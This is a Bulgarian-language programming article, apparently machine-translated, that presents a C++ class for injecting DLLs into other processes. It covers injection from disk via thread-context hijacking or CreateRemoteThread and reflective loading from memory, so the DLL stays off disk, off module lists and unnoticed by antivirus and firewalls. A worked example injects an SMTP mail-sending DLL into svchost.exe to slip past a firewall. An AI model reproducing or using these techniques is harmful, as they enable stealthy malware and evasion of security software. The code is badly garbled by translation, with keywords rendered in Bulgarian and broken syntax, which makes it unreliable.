Подобрен метод за DLL на изпълнение

DLL инжектиране или иначе (обикновено във връзка с прихващането на API), посветена на голям брой статии. Но нито един от тези, които съм чел, не казва как да се приложи този DLL в чужда процес бързо, т.е. не се съхранява на самия диск на DLL файл, и да ги директно в паметта условия.

Защо да използваме DLL?

Основни изисквания към въведен код:

Да кажем, че ние трябва да използвате кода във функцията за прилагане на wsock32.dll и kernel32.dll. Ние използваме следния код:

ако (! GetModuleHandle ( «wsock32.dll»))
LoadLibrary ( «wsock32.dll»);
ако (! GetModuleHandle ( «kernel32.dll»))
LoadLibrary ( «kernel32.dll»);

DLL за изпълнение от двата метода (външни и вътрешни DLL DLL) Написах CInjectDllEx клас. Този клас съдържа всички необходими процедури за работа. За да го използвате, трябва само да го наричат ​​StartAndInject процедура:

BOOL StartAndInject (
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD * dwResult);

[В] lpszProcessPath - Пътят към програмата, която искате да работи и кой Dll код ще се реализира.

[В] bDllInMemory - Ако този параметър е вярно, аргументът lpDllBuff използва различно - използва аргумент lpszDllPath.

[В] lpDllBuff - указател към съдържанието на паметта Dll. Трябва да е NULL, а bDllInMemory ако параметърът е FALSE.

[В] lpszDllPath - пълния път до въведеният Dll. Трябва да е NULL, а bDllInMemory ако параметъра е настроен да е вярно.

[В] bReturnResult - Ако този параметър е вярно, опцията dwResult се използва, в противен случай няма да се използва и трябва да бъде NULL.

[Няма] dwResult - указател към променливата, където се съхранява кода на завършване, предадена в функция ExitProcess Dll. Трябва да е NULL, а bReturnResult ако е FALSE.

Върнете стойности:
Тази процедура се връща TRUE, ако успяха да въведат в процес Dll код. В противен случай, той се връща FALSE.

Изпълнение на DLL, който се намира на диска

Много удобен и ефикасен метод за въвеждане на чужд код на вашия DLL, но този метод има някои недостатъци, тъй като е необходимо да се съхранява DLL на диск и се зареди допълнителен DLL лесно да се намери програми като PE-Tools. Също така при допълнително DLL може да се обърне внимание на антивирусен и защитни стени (напр Outpost Fierwall), който също е нежелателно.

Този код дава възможност за прилагане на външен DLL в друг процес:

BOOL CInjectDllEx :: InjectDllFromFile (PCHAR ModulePath)
#pragma пакет (1)
структура
BYTE PushCommand;
DWORD PushArgument;
WORD CallCommand;
DWORD CallAddr;
BYTE PushExitThread;
DWORD ExitThreadArg;
WORD CallExitThread;
DWORD CallExitThreadAddr;
LPVOID AddrLoadLibrary;
LPVOID AddrExitThread;
CHAR LibraryName [MAX_PATH + 1];
> Инжектирайте;
#pragma пакет ()

// Получаване на настоящия контекст на процеса на основната нишка
Контекст Контекст;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
ако (GetThreadContext (Тема, # 038; Context))
// промяна на контекста, така че нашият код се активира
Context.Eip = кодекс;
ако (SetThreadContext (Тема, # 038; Context))
// Започнете нишката
! BResumed = ResumeThread (резба) = (DWORD) -1;
ако (bResumed)
WaitForSingleObject (резба, безкрайност);
>
>
ако (! bResumed)
// Управлявай машинен код
ДРЪЖКА hThread = CreateRemoteThread (Процес, 0,0 (LPTHREAD_START_ROUTINE) памет, 0,0,0);
ако (! hThread)
върне FALSE;
WaitForSingleObject (hThread, безкрайност);
CloseHandle (hThread);
>
върне TRUE;
>

Единственият аргумент на тази функция - начина, по който да се изпълнява
DLL. Функцията връща TRUE, ако кодът на DLL е изпълнена и се изпълнява в процеса на мишена. В противен случай - FALSE.

Моля, имайте предвид, че тази функция първо се опитва да започне дистанционно поток без да се поставя CreateRemoteThread използване GetThreadContext, SetThreadContext функции. За да направите това, ние се справя с процеса на първоначалната нишка, и след това да получите контекста на конеца (GetThreadContext), промяна на съдържанието на регистъра на EIP, така че тя посочи към нашия вмъкнат код, а след това работи нишката (ResumeThread). Ако не можете да стартирате кода за този метод, наречен просто CreateRemoteThread.

Изпълнение на DLL, един в-памет

Съществува метод за зареждане на DLL в друг процес, ненатрапчив начин. За да направите това, трябва да се приложи в образа на процеса на DLL, и след това да се създаде таблица й на вноса и премествания, и след това да изпълнява своята входна точка. Този метод позволява да съхранявате на DLL не е на диска, както и да предприема действия за нейното изключително в паметта, а това DLL няма да се вижда в списъка на заредения процес модули, и то не се обърне внимание на защитната стена:

BOOL CInjectDllEx :: InjectDllFromMemory (LPVOID Src)
#ifndef NDEBUG
върне FALSE;
# endif
ImageNtHeaders = PIMAGE_NT_HEADERS (DWORD (Src) + DWORD (PIMAGE_DOS_HEADER (Src) -> e_lfanew));
DWORD Offset = 0x10000000;
LPVOID pModule;
правя
Отместване + = 0x10000;
pModule = VirtualAlloc (LPVOID (ImageNtHeaders-> OptionalHeader.ImageBase +
Изместване), ImageNtHeaders-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
ако (pModule)
VirtualFree (pModule, 0, MEM_RELEASE);
pModule = VirtualAllocEx (Процес, LPVOID (ImageNtHeaders-> OptionalHeader.ImageBase +
Изместване), ImageNtHeaders-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
>
> Докато ((pModule || отместване> 0x30000000)!);

MapLibrary (pModule, Src);
ако (! _ ImageBase)
върне FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory (Процес, pModule, _ImageBase, _ImageSize, 0);
ДРЪЖКА hThread = InjectThread (DllEntryPoint, # 038; DllLoadInfo, sizeof (DllLoadInfo));
ако (hThread)
WaitForSingleObject (hThread, безкрайност);
CloseHandle (hThread);
върне TRUE;
>
върне FALSE;
>

Функции които не са описани тук, могат да бъдат намерени, прикрепен към досието на статията.

Прескачането на защитната стена като пример за прилагане на подобрени изпълнението на DLL

// намали размера на библиотеката
#ifdef NDEBUG
#pragma оптимизиране ( «gsy», на)
#pragma коментар (свръзка, »/ IGNORE: 4078")
#pragma коментар (свръзка, »/ ОСВОБОЖДАВАНЕ»)
#pragma коментар (линкер »/ сливат: .rdata = .data»)
#pragma коментар (линкер »/ сливат: .text = .data»)
#pragma коментар (линкер »/ сливат: .reloc = .data»)
#if _MSC_VER> = 1000
#pragma коментар (свръзка, »/ FILEALIGN: 0x200")
# endif
#pragma коментар (свръзка, »/ запис: DllMain»)
# endif

// Излезте от програмата
VOID ExitThisDll (КОНТАКТ S, BOOL bNoError)
closesocket (и);
WSACleanup ();
ExitProcess (bNoError);
>

// Изпрати запитване към сървъра
VOID SendRequest (КОНТАКТ S, LPCSTR tszRequest)
ако (изпращане (и, tszRequest, lstrlen (tszRequest), 0) == SOCKET_ERROR)
ExitThisDll (и фалшиво);
>

// Получаване на отговор от сървъра
VOID ReceiveAnswer (КОНТАКТ S, LPSTR tszAnswer)
ZeroMemory (tszAnswer, 512);
ако (Получ (S, tszAnswer, 512,0) == SOCKET_ERROR)
ExitThisDll (и фалшиво);
ако (! ((tszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '2' # 038; # 038; tszAnswer [2] == '0') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '0') || (TszAnswer [0] == '3' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '4') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '2' # 038; # 038; tszAnswer [2] == '1') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == "0")))
ExitThisDll (и фалшиво);
>

// входна точка
VOID WinAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
ако (! GetModuleHandle ( «wsock32.dll»))
LoadLibrary ( «wsock32.dll»);
ако (! GetModuleHandle ( «kernel32.dll»))
LoadLibrary ( «kernel32.dll»);

WSADATA wsaData;
WSAStartup (MAKEWORD (1,1), # 038; wsaData);

КОНТАКТ S = гнездо (AF_INET, SOCK_STREAM, IPPROTO_TCP);
ако (и == INVALID_SOCKET)
WSACleanup ();
ExitProcess (невярно);
>

PHOSTENT pHostEnt = gethostbyname ( «smtp.mail.ru»);
ако (! pHostEnt)
ExitThisDll (и фалшиво);

Struct sockaddr_in entAddr;
memmove (# 038; entAddr.sin_addr.s_addr, * pHostEnt-> h_addr_list, sizeof PCHAR);
entAddr.sin_family = AF_INET;
entAddr.sin_port = htons (25);
ако (свързване (а, (структура sockaddr *) # 038; entAddr, sizeof entAddr) == INVALID_SOCKET)
ExitThisDll (и фалшиво);

CHAR tszRequestAnswer [512] = "";
ReceiveAnswer (S, tszRequestAnswer);

// Изпращане поздрави към сървъра
SendRequest (и, »хеликоптер приятел \ R \ н»);
// Получаване поздрави от сървъра
ReceiveAnswer (S, tszRequestAnswer);

// сървър готов да приема данни
SendRequest (S, »данни \ г \ п»);
// сървъра отчита готовността си
ReceiveAnswer (S, tszRequestAnswer);

// Попълнете "къде"
lstrcpy (tszRequestAnswer, »Към:«);
lstrcat (tszRequestAnswer, lpszRecipientAddress);
lstrcat (tszRequestAnswer, »\ г \ п»);
SendRequest (S, tszRequestAnswer);

// Попълнете "От"
SendRequest (и, »От: [email protected] \ R \ н»);

// Тема
SendRequest (и, »Тема: Тест от статия \ R \ н задачите»);
SendRequest (и, »Content-Type: текст / обикновен; \ R \ н набор знаци = \» Windows-1251 \ "; \ R \ н \ R \ н»);

// прекратяване на
SendRequest (S, »\ г \ п \ г \ п».);
ReceiveAnswer (S, tszRequestAnswer);

// Изход
SendRequest (и, »откажат \ R \ н»);
// Потвърди (OK)
ReceiveAnswer (S, tszRequestAnswer);
ExitThisDll (S, вярно);
>

С реализацията на този код в доверен процес, защитна стена открива факта, че съобщението е изпратено, но няма да издава предупреждения. В повечето случаи, доверен процес е стандартен процес на защитната стена система svchost.exe. Ние го използвате:

Int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, Int nCmdShow)
CInjectDllEx самоубийство;
DWORD dwResult = FALSE;

Тук за първи път DLL, който се намира на диска, а след това - в паметта.
В случай на въвеждане на паметта, DLL е ресурс за изпълнение на Програмата.

Архивната (test_and_sources.zip) е CInjectDllEx тест клас DLL и програма изпълнение на тази
DLL.

Покажете тази статия на приятел: